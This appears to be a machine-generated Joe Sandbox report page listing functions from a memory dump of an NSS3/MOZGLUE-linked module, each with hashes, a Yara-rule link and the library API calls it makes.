Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: 0b7d548eba9c8637f3ad4564c8ada1584ac84caa836a6e7d9f0a47198d59d312
Instruction ID: 742d83bfc354936e0874981d229796e109272e66485220bd22564a295d4f873b
Opcode Fuzzy Hash: 0b7d548eba9c8637f3ad4564c8ada1584ac84caa836a6e7d9f0a47198d59d312
Instruction Fuzzy Hash: D441E475A002359BEB00EF64DA49AAB7BB4BF45348F154224ED1897712EB31E911CBE1

Function 6C71EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C71EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C71EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C71EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C71EEEB
free.MOZGLUE(?), ref: 6C71EEF6

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: b71f51f0d236914b7d711b69e92818cb5de50446205629af0e371bf6dc0e1fcb
Instruction ID: 220c7b55b31d28487125013c627814151f3b903f9c620f3b10fe7bcedb624bd0
Opcode Fuzzy Hash: b71f51f0d236914b7d711b69e92818cb5de50446205629af0e371bf6dc0e1fcb
Instruction Fuzzy Hash: 0331E6716082049BEB219F2CCD4DB667BF8FB46319F180538E85A87E51E731E818CBE1

Function 6C7968A0 Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C7968B4

Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E90AB
Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E90C9
Part of subcall function 6C7E9090: EnterCriticalSection.KERNEL32 ref: 6C7E90E5
Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E9116
Part of subcall function 6C7E9090: LeaveCriticalSection.KERNEL32 ref: 6C7E913F

Part of subcall function 6C710F00: PR_GetPageSize.NSS3(6C710936,FFFFE8AE,?,6C6A16B7,00000000,?,6C710936,00000000,?,6C6A204A), ref: 6C710F1B
Part of subcall function 6C710F00: PR_NewLogModule.NSS3(clock,6C710936,FFFFE8AE,?,6C6A16B7,00000000,?,6C710936,00000000,?,6C6A204A), ref: 6C710F25

PR_MillisecondsToInterval.NSS3(?), ref: 6C7968E6
PR_MillisecondsToInterval.NSS3(?), ref: 6C796938
PR_MillisecondsToInterval.NSS3(?), ref: 6C796986
PR_ExitMonitor.NSS3(?), ref: 6C7969BA

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: IntervalMillisecondsValue$CriticalEnterMonitorSection$ExitLeaveModulePageSize
String ID:
API String ID: 1802314673-0
Opcode ID: c1e639eb1a4d6a8ac030fb88eed35ae74fcc3a199cbf4b0b47a7dbdd951c6ca6
Instruction ID: 79d0a534bf6be1cb14a1f6bda0008a37e0a34ed0f0cd6a600d8cb7b5b03cd441
Opcode Fuzzy Hash: c1e639eb1a4d6a8ac030fb88eed35ae74fcc3a199cbf4b0b47a7dbdd951c6ca6
Instruction Fuzzy Hash: EF31A272602A01ABDB645B74EA0C7D6BA74BF8631EF040339D82952A52D7347968CEC3

Function 6C72AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C723FFF,00000000,?,?,?,?,?,6C721A1C,00000000,00000000), ref: 6C72ADA7

Part of subcall function 6C7814C0: TlsGetValue.KERNEL32 ref: 6C7814E0
Part of subcall function 6C7814C0: EnterCriticalSection.KERNEL32 ref: 6C7814F5
Part of subcall function 6C7814C0: PR_Unlock.NSS3 ref: 6C78150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C723FFF,00000000,?,?,?,?,?,6C721A1C,00000000,00000000), ref: 6C72ADB4

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C723FFF,?,?,?,?,6C723FFF,00000000,?,?,?,?,?,6C721A1C,00000000), ref: 6C72ADD5

Part of subcall function 6C77FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C778D2D,?,00000000,?), ref: 6C77FB85
Part of subcall function 6C77FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C77FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C8494B0,?,?,?,?,?,?,?,?,6C723FFF,00000000,?), ref: 6C72ADEC

Part of subcall function 6C77B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8518D0,?), ref: 6C77B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C723FFF), ref: 6C72AE3C

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 5d7dbaed8c45652df47850c0437e3127a0d110ad959bb9ecb0c13b2d1fe2658e
Instruction ID: 919f9896fcc96782dfcc81a865efbcd15ede8b518de59b6d026e168c0bbe7fa4
Opcode Fuzzy Hash: 5d7dbaed8c45652df47850c0437e3127a0d110ad959bb9ecb0c13b2d1fe2658e
Instruction Fuzzy Hash: 76117832E003095BE7109B249E0DBBF73ACDF9126CF044238EC2996741FB24E949C2E2

Function 6C778800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C78085A,00000000,?,6C728369,?), ref: 6C778821
TlsGetValue.KERNEL32(?,?,6C78085A,00000000,?,6C728369,?), ref: 6C77883D
EnterCriticalSection.KERNEL32(?,?,?,6C78085A,00000000,?,6C728369,?), ref: 6C778856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C778887
PR_Unlock.NSS3(?,?,?,?,6C78085A,00000000,?,6C728369,?), ref: 6C778899

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: 0b1f3c7863ea731d94ca6fa40757b4621f831fee4bc97697768a339c3f830c1e
Instruction ID: ddb883c3e295f5c65e438ab57d74a6969e79dc20a6325f39e66cbe14ad7b4b94
Opcode Fuzzy Hash: 0b1f3c7863ea731d94ca6fa40757b4621f831fee4bc97697768a339c3f830c1e
Instruction Fuzzy Hash: C22160B4A14609CFDF21AF79C68826ABBB4BF05308F154676DC94A7605E730D494CBE2

Function 6C7428A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C7380DD), ref: 6C7428BA
EnterCriticalSection.KERNEL32(?,?,?,?,6C7380DD), ref: 6C7428D3
PR_Unlock.NSS3(?,?,?,?,?,6C7380DD), ref: 6C7428E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6C7380DD), ref: 6C74290E
free.MOZGLUE(?,?,?,?,?,?,6C7380DD), ref: 6C74291A

Part of subcall function 6C739270: DeleteCriticalSection.KERNEL32(?,?,6C745089,?,6C743B70,?,?,?,?,?,6C745089,6C73F39B,00000000), ref: 6C73927F
Part of subcall function 6C739270: free.MOZGLUE(?,?,6C743B70,?,?,?,?,?,6C745089,6C73F39B,00000000), ref: 6C739286
Part of subcall function 6C739270: PL_HashTableDestroy.NSS3(?,6C743B70,?,?,?,?,?,6C745089,6C73F39B,00000000), ref: 6C739292

Part of subcall function 6C738B50: TlsGetValue.KERNEL32(00000000,?,6C740948,00000000), ref: 6C738B6B
Part of subcall function 6C738B50: EnterCriticalSection.KERNEL32(?,?,?,6C740948,00000000), ref: 6C738B80
Part of subcall function 6C738B50: PL_FinishArenaPool.NSS3(?,?,?,?,6C740948,00000000), ref: 6C738B8F
Part of subcall function 6C738B50: PR_Unlock.NSS3(?,?,?,?,6C740948,00000000), ref: 6C738BA1
Part of subcall function 6C738B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6C740948,00000000), ref: 6C738BAC
Part of subcall function 6C738B50: free.MOZGLUE(?,?,?,?,?,6C740948,00000000), ref: 6C738BB8

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: f0ec75221e8388066fe894e39b12b1e1249fdf0aa7bd0e33c7a52c55e8c86d6b
Instruction ID: 9f19ef350e412654a756121072cc6cc78f736f79b2f86820d0e0947598b95d5b
Opcode Fuzzy Hash: f0ec75221e8388066fe894e39b12b1e1249fdf0aa7bd0e33c7a52c55e8c86d6b
Instruction Fuzzy Hash: 35212CB5A04A159BCB10AF78C18C459BBF4FF05318F028969DC98D7701EB34E895CBD2

Function 6C7109E0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,6C7106A2,00000000,?), ref: 6C7109F8
malloc.MOZGLUE(0000001F), ref: 6C710A18
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C710A33

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

PR_Free.NSS3(?), ref: 6C710A6C
PR_Free.NSS3(?), ref: 6C710A87

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$Freecalloc$mallocmemcpy
String ID:
API String ID: 207547555-0
Opcode ID: 60e25c55afd26a9859b3fc436716e283a9e0fb934a375f7c1fede6c7975a8673
Instruction ID: 5df88ab6867fbf5b5cbec96795f09e5901bfa6c4c51a3e8e4b56c7cf0a1f2478
Opcode Fuzzy Hash: 60e25c55afd26a9859b3fc436716e283a9e0fb934a375f7c1fede6c7975a8673
Instruction Fuzzy Hash: 2F11E4B29087809BEB219F29CB8975777E8BB4135CF48593AD85682E10EB31F464C790

Function 6C738FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C740710), ref: 6C738FF1
PR_CallOnce.NSS3(6C882158,6C739150,00000000,?,?,?,6C739138,?,6C740710), ref: 6C739029
calloc.MOZGLUE(00000001,00000000,?,?,6C740710), ref: 6C73904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C740710), ref: 6C739066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C740710), ref: 6C739078

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: f7c95c0159f55b5ff8ec89d75893c4d3fe096bea775aafe4377958b57d9f2056
Instruction ID: 2a7c84e9455cc2751900663c305be17bd6cc978d9aeea5320f99e06d4ef96e60
Opcode Fuzzy Hash: f7c95c0159f55b5ff8ec89d75893c4d3fe096bea775aafe4377958b57d9f2056
Instruction Fuzzy Hash: 9011256170623267E72016ADAE48A6672A8DB927ACF501431FC4CC2F42FB5ACD45C3E1

Function 6C74CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C761E10: TlsGetValue.KERNEL32 ref: 6C761E36
Part of subcall function 6C761E10: EnterCriticalSection.KERNEL32(?,?,?,6C73B1EE,2404110F,?,?), ref: 6C761E4B
Part of subcall function 6C761E10: PR_Unlock.NSS3 ref: 6C761E76

free.MOZGLUE(?,6C74D079,00000000,00000001), ref: 6C74CDA5
PK11_FreeSymKey.NSS3(?,6C74D079,00000000,00000001), ref: 6C74CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C74D079,00000000,00000001), ref: 6C74CDCF
DeleteCriticalSection.KERNEL32(?,6C74D079,00000000,00000001), ref: 6C74CDE2
free.MOZGLUE(?), ref: 6C74CDE9

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 547877a375164ed385c3f9c0f0e9321e47b0584520d6a3831b68bd916f3e7dc5
Instruction ID: f10452ef0d4e7cae98938eebb3ddb3b5f27ccb7f00e590d7aef3985d792e9ef1
Opcode Fuzzy Hash: 547877a375164ed385c3f9c0f0e9321e47b0584520d6a3831b68bd916f3e7dc5
Instruction Fuzzy Hash: 171186B2B01125BBDF11AE65EE49D96B76CFF0425E7148131E91987E01E732E438CBE1

Function 6C7B2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C7B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C7B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7B2CEC

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

PR_EnterMonitor.NSS3(?), ref: 6C7B2D02
PR_EnterMonitor.NSS3(?), ref: 6C7B2D1F
PR_ExitMonitor.NSS3(?), ref: 6C7B2D42
PR_ExitMonitor.NSS3(?), ref: 6C7B2D5B

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 847b07355038ff46e4a7061065878ff5e9e1fb64da0ddd5b79177727490cb487
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: E70104F2A416005BEB319E29FD49BC7B3A1EF55318F004535E85996721E232F919C793

Function 6C7B2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C7B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C7B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7B2D9C

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

PR_EnterMonitor.NSS3(?), ref: 6C7B2DB2
PR_EnterMonitor.NSS3(?), ref: 6C7B2DCF
PR_ExitMonitor.NSS3(?), ref: 6C7B2DF2
PR_ExitMonitor.NSS3(?), ref: 6C7B2E0B

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 20fef9cbc83224dfa752a41360bfa366b62b8b93fe5c305ebe7ada525de5d19d
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 6001C4F2A412006FEA309E2AFD0DBC7B7A5EF55358F004435E85996B12D632F9258693

Function 6C74AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C733090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C74AE42), ref: 6C7330AA
Part of subcall function 6C733090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7330C7
Part of subcall function 6C733090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7330E5
Part of subcall function 6C733090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C733116
Part of subcall function 6C733090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C73312B
Part of subcall function 6C733090: PK11_DestroyObject.NSS3(?,?), ref: 6C733154
Part of subcall function 6C733090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C73317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C7299FF,?,?,?,?,?,?,?,?,?,6C722D6B,?), ref: 6C74AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C7299FF,?,?,?,?,?,?,?,?,?,6C722D6B,?), ref: 6C74AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C722D6B,?,?,00000000), ref: 6C74AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C722D6B,?,?,00000000), ref: 6C74AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C722D6B,?,?), ref: 6C74AEA3

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 3eb17a6c15d9acad0657d846a28de74c9206d658506d5576aa25b7226cb137c8
Instruction ID: abd5ebe4ba2b67de0bb71351d35c0a430051ad559f8614599c06febe5ba28a3c
Opcode Fuzzy Hash: 3eb17a6c15d9acad0657d846a28de74c9206d658506d5576aa25b7226cb137c8
Instruction Fuzzy Hash: 4001C866B1453057E711A16CAF9FEEF315C8B8766CF088032E929D7B42F616D90543E3

Function 6C830930 Relevance: 7.5, APIs: 5, Instructions: 45fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,6C830C83), ref: 6C83094F
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C830C83), ref: 6C830974
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C830983
_PR_MD_UNLOCK.NSS3(?,?,6C830C83), ref: 6C83099F
OutputDebugStringA.KERNEL32(?,?,6C830C83), ref: 6C8309B2

Memory Dump Source

